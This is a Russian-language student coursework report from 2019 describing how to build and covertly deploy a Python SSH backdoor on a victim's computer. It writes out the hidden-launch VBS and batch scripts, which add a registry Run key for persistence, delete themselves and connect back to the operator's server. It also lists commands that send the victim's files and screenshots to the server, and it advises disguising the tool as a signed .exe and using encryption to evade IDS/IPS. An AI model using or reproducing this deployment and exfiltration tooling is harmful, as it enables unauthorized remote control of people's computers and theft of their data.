Министерство образования Республики Беларусь
Учреждение образования «Белорусский государственный университет информатики и радиоэлектроники»

Факультет компьютерных систем и сетей

кафедра Информатики

Дисциплина: Архитектура вычислительных систем

ПОЯСНИТЕЛЬНАЯ ЗАПИСКА
к курсовой работе на тему “Backdoor”

Выполнил: студент гр. 753505
Камзеев Н.А.

Руководитель: ассистент кафедры информатики Леченко А. В.

Минск 2019

СОДЕРЖАНИЕ

ВВЕДЕНИЕ

Бэкдорами (backdoors) называют разновидность вредоносных программ, а также утилиты скрытого доступа к компьютеру, специально созданные разработчиками для выполнения несанкционированных действий. Термин произошел от англоязычного словосочетания back door, которое переводится как «задняя дверь» или «черный ход». Получив доступ к системе, злоумышленник устанавливает бэкдоры для повторного или резервного доступа к системе с целью реализации задуманного.

Бэкдоры выполняют две основные функции:

1) оперативное получение доступа к данным;
2) удаленное управление компьютером.

Возможности продукта огромные. Backdoor открывает доступ злоумышленнику к компьютеру жертвы, поэтому он может делать на нем все, что и владелец, но только удаленно. Например, копировать или загружать файлы, внедрять вредоносные и другие программы, считывать личные данные, перезагружать компьютер, делать скриншоты и т.д.

Бэкдор трудно обнаружить в системе, они никак не проявляют себя в системе, поэтому пользователь может не догадываться о присутствии вредоносной программы. При обнаружении бэкдора в системе, пользователь не сможет определить, кто его внедрил, и какая информация похищена. В то же время, он не сможет применить его на другом компьютере или в ином коде.

1. ПОСТАНОВКА ЗАДАЧИ

1.1. Описание предметной области

Как сообщается на веб-сайте, занимающемся разработкой антивирусного ПО, бэкдоры были на четвертом месте по распространению угроз в 2018 году как для потребителей, так и для бизнеса - соответствующее увеличение на 34 и 173 процента по сравнению с предыдущим годом.

Где могут быть скрыты бэкдоры? Вот несколько свежих примеров из новостей на тему бэкдор:

1) Бэкдоры найдены в 11 Ruby-библиотеках;
2) Из репозитория PyPI исключены три вредоносные библиотеки с бэкдорами;
3) Немецкие специалисты обнаружили бэкдоры в четырех моделях бюджетных смартфонов;
4) Китайские хакеры создали новый бэкдор для MSSQL-серверов;
5) Злоумышленники превращают Discord в бэкдор и вынуждают воровать данные.

Отсюда можно заметить, бэкдоры имеют широкий спектр действия. От них невозможно оградиться. Бэкдор может быть написан в программном продукте по невнимательности разработчика или же, наоборот, с целью дальнейшего использования этой лазейки. Очень часто их писали в своем продукте с целью мониторинга неисправностей или поставки обновленного ПО. И, наконец, бэкдор может быть написан и внедрен через стороннее вредоносное программное обеспечение.

1.2. Цели и средства проектирования

Учитывая вышеизложенные факты и тот факт, что бэкдоры достаточно трудно обнаружить, была поставлена задача изучить архитектуру и понять принципы работы данного вида вредоносного программного обеспечения. Основными инструментами, использованными для написания бэкдора, являются:

1) VSCode;
2) высокоуровневый язык программирования общего назначения python и его модули;
3) BatToExe converter tool.

1.3. Требования к разрабатываемому программному обеспечению

Используя клиент-серверную архитектуру, написать программу на языке Python наподобие бэкдора для несанкционированного доступа к данным, удаленному управлению операционной системой. Использовать клиент-серверную архитектуру, SSH протокол для создания защищенного канала между сервером и клиентом. Реализовать возможность отправки файлов с компьютера жертвы на сервер, а также предусмотреть автоматическую загрузку программы-клиента при запуск операционной системы.

2. РЕАЛИЗАЦИЯ ПРОГРАММНОГО ПРОДУКТА

2.1. Основные понятия для работы с сетью

Клиент — сервер (англ. client–server) — вычислительная или сетевая архитектура, в которой сетевая нагрузка распределена между поставщиками услуг, называемыми серверами, и заказчиками услуг, называемыми клиентами. Фактически клиент и сервер — это программное обеспечение. Обычно эти программы расположены на разных вычислительных машинах и взаимодействуют между собой через вычислительную сеть посредством сетевых протоколов, но они могут быть расположены также и на одной машине.

Сокет (англ. socket — разъём) — название программного интерфейса для обеспечения обмена данными между процессами. Процессы при таком обмене могут исполняться как на одной ЭВМ, так и на различных ЭВМ, связанных между собой сетью. Сокет — абстрактный объект, представляющий конечную точку соединения.

Transmission Control Protocol (TCP, протокол управления передачей) — один из основных протоколов передачи данных интернета, предназначенный для управления передачей данных.

SSH (англ. Secure Shell — «безопасная оболочка») — сетевой протокол прикладного уровня, позволяющий производить удалённое управление операционной системой и туннелирование TCP-соединений (например, для передачи файлов). Шифрует весь трафик, включая и передаваемые пароли. SSH допускает выбор различных алгоритмов шифрования. SSH-клиенты и SSH-серверы доступны для большинства сетевых операционных систем. SSH позволяет безопасно передавать в незащищённой среде практически любой другой сетевой протокол. Таким образом, можно не только удалённо работать на компьютере через командную оболочку, но и передавать по шифрованному каналу звуковой поток или видео (например, с веб-камеры).

2.2. Архитектура бэкдора

Выше уже было рассмотрено понятие сетевая архитектура клиент-сервер. Для реализации бэкдора был использован следующий принцип архитектуры: с сервера посылаются команды на компьютер с бэкдором через SSH канал, а программа-клиент их выполняет и возвращает ответы в виде сообщений, файлов.

Как только будет запущен бэкдор (скрипт client.py), TCP SYN запрос будет отправлен серверу, который слушает заданный порт и ждет входящих

запросов, чтобы выполнить 3-этапное "рукопожатие" (handshake):

1) Хост А отправляет TCP SYNchronize пакет хосту Б. Хост Б получает SYN от А;

2) Хост Б отправляет SYNchronize-ACKnowledgement. Хост А получает SYN-ACK от Б;

3) Хост А отправляет ACKnowledge. Хост Б получает ACK от А.

После того как клиент пройдет аутентификацию поверх TCP сокета будет установлен SSH тоннель.

Внутри секретного канала можно передавать любые команды жертве и получать обратно результат выполнения. Шифрование - это один из лучших способов избежать IDS/IPS датчики, так как они будут полностью в неведении о передающемся трафике.

Так же можно использовать reverse shell - очень популярный метод известный как bypass FW правила, согласно которым блокируются все входящие соединения, но нельзя заблокировать все исходящие соединения, потому что они нужны для бизнес-модели.

В Python есть много сторонних библиотек, которые упрощают SSH реализацию и обеспечивают высокий пользовательский уровень. В данной работе была использована библиотека paramiko, которая предоставляет простоту и большой набор функциональности прямо из коробки.

2.3. Серверная часть

Основной интерфейс для управления поведением сервера заложен в классе Server файла server.py. Данный класс наследуется от интерфейса paramiko.ServerInterface, который нужен специально для создания своего собственного сервера. Чтобы создать объект сервера нужно передать ему только имя пользователя и пароль для SSH соединения. Далее нужно создать сокет, привязать его к адресу и начать прослушку данного адреса – за это все отвечает метод create_start_listen_connection, который возвращает слушающий сокет. После этого сервер ждет запрос на соединение с компьютера жертвы. Как только сервер получил сокет:

a) на основе его создается объект paramiko.Transport, содержащий параметры безопасности SSH соединения;

b) в объект параметров добавляется RSA ключ хоста.

Для создания сервера нужен RSA или DSS приватный ключ. У большинства дистрибутивов ОС Linux есть утилита *openssl*, с помощью которой можно сгенерировать ключ:

```
openssl genpkey -out 'test_rsa.key' -algorithm rsa -pkeyopt rsa_keygen_bits:2048
```

Для ОС Windows его можно сгенерировать, используя puttygen, например. Также в используемой библиотеке paramiko есть статический метод:

```
paramiko.RSAKey.generate(2048)
```

1) запускается сервер;

2) через объект параметров безопасности извлекается открытый клиентом канал, и, если был получен канал, а не None, происходит небольшая коммуникация. Если объект параметров транспорта вернет None, значит пользователь не прошел аутентификацию или было превышено время ожидания получения открытого канала со стороны клиента.

Теперь есть все, чтобы запустить основной цикл удаленного доступа. Запускается он с помощью функции take_control, которая принимает шифруемый канал и объект параметров защищенного соединения. Дальше в цикле идет отправка команд, обработка, выполнение на стороне клиента и возвращение результата на сервер.

Сервер заканчивает свою работу по команде `server stop`, которая вызывает у объекта параметров защищенного соединения метод close, закрывающий сессию и все привязанные к ней каналы.

2.4. Клиентская часть

В данной главе будет рассказано о том, что происходит, когда на целевом компьютере запускается бэкдор.

После запуска скрипта client.py первым делом извлекаются аргументы, переданные при запуске и необходимые для установления соединения с сервером. Затем, используя параметры IP, порт, имя пользователя соединения, пароль соединения, создается объект класса Client. У данного объекта вызывается метод `connect_auth`. Метод может завершить свою работу несколькими способами:

1) Невозможно подключиться из-за неправильно указанного хоста;

2) Отказано в доступе из-за неверного пароля/имени пользователя соединения;

3) Соединение успешно установлено.

После успешного соединения поверх TCP сокета будет установлен SSH тоннель.

Следующим шагом является открыть канал/сессию в данном тоннеле. Это можно сделать, используя разработанный в ходе проекта метод `open_channel`, результатом которого является открытый канал.

Теперь все готово, чтобы использовать основной метод `open_door`, который представляет собой бесконечный цикл: получение команды – её

обработка – исполнение – возвращение результата. Основной модуль для обработки поступающих команд - это стандартный модуль языка python `subprocess`, который позволяет создавать новые процессы, подключаться к их каналам ввода/вывода/ошибок и получать их коды возврата. Для того чтобы выполнить какую-либо команду через терминал можно воспользоваться методом

```
subprocess.check_ouput(command, shell=True)
```

где параметр *command* и есть инструкция, полученная с сервера. Выйти из цикла можно только с помощью специальной команды со стороны сервера: `server stop`.

3. ОПИСАНИЕ ИСПОЛЬЗОВАНИЯ

3.1. Запуск бэкдора

Файл server.py следует запускать непосредственно на компьютере, с которого будет контролироваться целевая система. Файл client.py нужно внедрить на компьютер жертвы и запустить его (для Windows это предусмотрено).

1) Запуск сервера

```
usage: server.py [-h] [-p PORT] un ps
positional arguments:
  un                the username to establish ssh connection
  ps                the password to establish ssh connection
optional arguments:
  -h, --help        show this help message and exit
  -p PORT, --port PORT  the ssh port, 22 by default
```

Стоит заметить, при запуске сервера без указания порта будет использоваться порт 22, данный порт является ssh по умолчанию и требует root доступ.

2) запуск клиента на целевой ЭВМ

```
usage: client.py [-h] [-v] sip sp un ps
positional arguments:
  sip         the server ip
  sp          the server port
  un          the username of the ssh connection
  ps          the password of the ssh connection
optional arguments:
  -h, --help  show this help message and exit
  -v, --verbose
```

2.1) запуск клиента на целевой ЭВМ (Windows) (*На ОС должен быть установлен python-интерпертатор!*) Для ОС Windows были написаны скрипты для скрытого запуска с флешки. На флешке должно быть 4 файла для успешного запуска клиентской части.

1. Запустить нужно только 1 скрипт: run0.vbs:

```
CreateObject("Wscript.Shell").Run "onstart.bat",0,True
```

который запустит следующий скрипт без появления окна консоли:

2. onstart.bat

```
@echo off
mkdir {path_to_dir_with_script}
```

```
copy "client.py" {path_to_dir_with_script} @rem 'backdoor' - dir to place our client program
copy "run.bat" {path_to_dir_with_bat(exe)} @rem exe better
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v {any_name} /d {path_to_bat(exe)}
del %0
exit
```

3. run.bat

```
python {path_to_dir_with_script}\client.py {server_ip} {server_port} {ssh_uname} {ssh_pswd} @rem pass your params here (more details see above)
```

4. client.py будет запускаться каждый раз при загрузке системы

После этого флешку можно извлекать. При безопасном извлечении возникнет предупреждение, что диск используется – это из-за shell-скрипта, но можно не обращать на это внимания и спокойно извлекать диск.

Хорошим вариантом будет сделать .exe файл вместо .bat и .vbs файлов, добавить ему описание, подпись, сертификат. В интернете есть достаточное количество утилит для конвертирования.

3.2. Возможности бэкдора

После соединения клиента с сервером и открытия бэкдора открывается ряд возможностей. Становятся доступными инструкции командной строки с правами пользователя, предоставляется возможность получать файлы, а также скриншоты пользователя. Также можно загружать небольшие скрипты и выполнять их интерпретатором python.

Сейчас будет рассмотрено несколько примеров кроме обычных инструкций командной строки (ls, mkdir, mv, rm, ps и т.д.):

1) `grab d:\files` -- все файлы из папки “d:\files” будут отправлены на сервер
2) `grab d:\files file.txt` -- файл “d:\files\file.txt” будет отправлен на сервер
3) `screen` -- скриншот экрана будет отправлен на сервер
4) `echo import pyautogui; pyautogui.hotkey('alt', 'f4'); > altf4.py`

`python altf4.py` -- первая команда загружает скрипт, вторая – запускает его, имитируя нажатие клавиш alt+f4, и тем самым закрывает текущее окно пользователя.

5) `server stop` -- закрывает все открытые каналы сервера, прерывая связь между сервером и клиентом.

ЗАКЛЮЧЕНИЕ

В ходе написания такого программного обеспечения как бэкдор, была изучена и разработана одна из его реализаций — клиент-сервер. Данная реализация использует сетевой протокол SSH для установления защищенного соединения, с помощью которого могут передаваться различные виды и типы информации, нечитаемые брандмауэром.

Была реализована возможность отправки файлов и скриншотов экрана с компьютера клиента на сервер, также предусмотрена автоматическая загрузка программы-клиента при запуске операционной системы.

СПИСОК ИСПОЛЬЗОВАННОЙ ЛИТЕРАТУРЫ

1) Клиент-серверная архитектура [Электронный ресурс]. – Режим доступа: https://ru.wikipedia.org/wiki/Клиент_—_сервер.

2) Сокет [Электронный ресурс]. – Режим доступа: https://ru.wikipedia.org/wiki/Сокет_(программный_интерфейс).

3) SSH [Электронный ресурс]. – Режим доступа: https://ru.wikipedia.org/wiki/SSH.

4) TCP [Электронный ресурс]. – Режим доступа: https://ru.wikipedia.org/wiki/Transmission_Control_Protocol.

5) Об архитектуре бэкдора [Электронный ресурс]. – Режим доступа: https://resources.infosecinstitute.com.

6) Библиотека для работы с SSH paramiko [Электронный ресурс]. – Режим доступа : http://docs.paramiko.org/en/stable/api.

7) Argparse Tutorial [Электронный ресурс]. – Режим доступа: https://docs.python.org/2/howto/argparse.html.

8) Subprocess management [Электронный ресурс]. – Режим доступа: https://docs.python.org/3.8/library/subprocess.html.

9) Генерация RSA-ключей [Электронный ресурс]. – Режим доступа: https://blog.fabioiotti.com/generate-rsa-key/.

10) Бэкдоры (backdoors) [Электронный ресурс]. – Режим доступа: https://www.anti-malware.ru/threats/backdoors.

11) Официальная документация python для модуля socket [Электронный . – Режим доступа: https://docs.python.org/3.8/library/socket.htm.